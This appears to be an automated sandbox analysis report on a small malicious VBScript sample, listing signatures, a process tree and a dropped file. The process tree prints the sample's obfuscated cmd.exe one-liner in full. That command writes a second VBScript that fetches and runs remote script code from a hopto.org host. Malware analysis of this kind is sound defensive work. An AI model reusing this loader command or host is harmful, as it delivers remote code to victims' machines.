Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 12:34

General

  • Target
    368-Arch!vo-61D9ZRSDsY1r5hndqVAbVold.vbs
  • Size 3KB
  • Sample260910-pr2s7atcja
  • SHA256 e725e58b77d87158a9c4d68ba6468ddd4cf13ab61f18131dd1fa6d9be830ae76
  • MD5 SHA1 SHA512 TLSH
Score
5/10

Malware Config

Signatures

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\368-Arch!vo-61D9ZRSDsY1r5hndqVAbVold.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:992
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmD ^/V/D/c ecHo function ff22xrZ(RS6QE1QSowZRC740) ff22xrZ= replace(RS6QE1QSowZRC740,"xqol1","5" ): end fUnction: AzKHzYploniR515="Sc": BY9slpb104="Tp": L43rwEHYU8j511="1": c42b6eqaurQjtuNe16 = ff22xrZ(AzKHzYploniR515 +"ri*pt*:H*t"+ BY9slpb104 +"s://r4bcmxqol1.hopto.org*/g*" + L43rwEHYU8j511): GetObject(wNR5EsV(c42b6eqaurQjtuNe16)) :function wNR5EsV(HT5CoxtxN9q401) wNR5EsV= replaCe(HT5CoxtxN9q401,"*","" ): end fUnction > nUl > %PUblic%\^L43rwEHYU8j511.vbs |^start cmd /c start %PUblic%\^L43rwEHYU8j511.vbs
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5776
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" ecHo function ff22xrZ(RS6QE1QSowZRC740) ff22xrZ= replace(RS6QE1QSowZRC740,"xqol1","5" ): end fUnction: AzKHzYploniR515="Sc": BY9slpb104="Tp": L43rwEHYU8j511="1": c42b6eqaurQjtuNe16 = ff22xrZ(AzKHzYploniR515 +"ri*pt*:H*t"+ BY9slpb104 +"s://r4bcmxqol1.hopto.org*/g*" + L43rwEHYU8j511): GetObject(wNR5EsV(c42b6eqaurQjtuNe16)) :function wNR5EsV(HT5CoxtxN9q401) wNR5EsV= replaCe(HT5CoxtxN9q401,"*","" ): end fUnction 1>C:\Users\Public\L43rwEHYU8j511.vbs"
        3⤵
          PID:4420
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" start cmd /c start C:\Users\Public\L43rwEHYU8j511.vbs"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4484
          • C:\Windows\system32\cmd.exe
            cmd /c start C:\Users\Public\L43rwEHYU8j511.vbs
            4⤵
            • Executes a command shell one-liner
            • Modifies registry class
            • Suspicious use of WriteProcessMemory
            PID:3040
            • C:\Windows\System32\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Public\L43rwEHYU8j511.vbs"
              5⤵
              • Executes a VBScript file via the Windows Script Host.
              PID:1020

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          L43rwEHYU8j511.vbs

          • Path C:\Users\Public\L43rwEHYU8j511.vbs
          • Size 413B
          • SHA256 771a287799a0c6499e030b12661c13241c191de3c74f5cdc32cba5d0fe5a2c76
          • MD5 SHA1 SHA512 TLSH